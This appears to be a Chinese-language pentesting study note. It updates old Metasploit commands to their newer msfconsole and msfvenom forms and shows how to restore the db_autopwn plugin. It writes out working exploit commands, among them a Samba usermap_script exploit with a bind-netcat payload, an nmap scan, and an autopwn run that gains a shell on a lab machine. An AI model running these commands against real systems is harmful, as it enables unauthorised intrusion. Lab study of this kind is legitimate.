1.阅读老资料的困惑
老资料里一般是根据BT5整理的，kali里的metasploit比较新，不太一样，这里整理一下。
a)msfcli被整合进msfconsole的参数里：
老指令：
#msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=192.168.200.129 E
新指令：
#msfconsole -x "use exploit/multi/samba/usermap_script; set RHOST 192.168.200.129; set PAYLOADcmd/unix/bind_netcat; [set LHOST IP;] run"
b)msfpayload、msfencode被整合到msfvenom里：
老指令：
msfpayload -l #查看所有攻击载荷
msfencode -l #查看所有编码器
新指令只需一条指令即可：
msfvenom -l payloads,encoders
下图是msfvenom的参数说明：
c)db_autopwn自动渗透脚本被删除
据说是由于该脚本虽然使渗透傻瓜化，但是智能不高，并且造成的负载不小，容易被发现，所以删掉了。
目前替代的方法是可以使用metasploit的一些自动化插件和脚本，但是更好的方法还是自己选择合适的脚本和载荷，使负载变小，效率更高。
https://github.com/rapid7/metasploit-framework/tree/master/plugins
2.db_autopwn傻瓜化测试
虽然db_autopwn被删掉了，但是可以手工恢复。
https://github.com/PsychoSpy/metasploit-framework/blob/autopwn-modules/plugins/db_autopwn.rb
源代码复制下来，保存为db_autopwn.rb文件，复制到/usr/share/metasploit-framwork/plugins/中，然后执行加载
#msf>load db_autopwn
渗透测试：
a）扫描测试机
#msf>db_nmap -v -A 192.168.200.129
--测试机的扫描结果会自动存放如Postgresql数据库中
b)查看扫描结果
c）自动测试
#msf>db_autopwn -t -p -r -e ----负载不小，1000多个脚本都会跑一遍，需要不少时间，好在成功了一个session。
d)连接会话并测试
会话连接已经成功，但user是www-data（敲错的指令，请自动忽略），不是root，没关系，至少证明db_autopwn还是管用的。
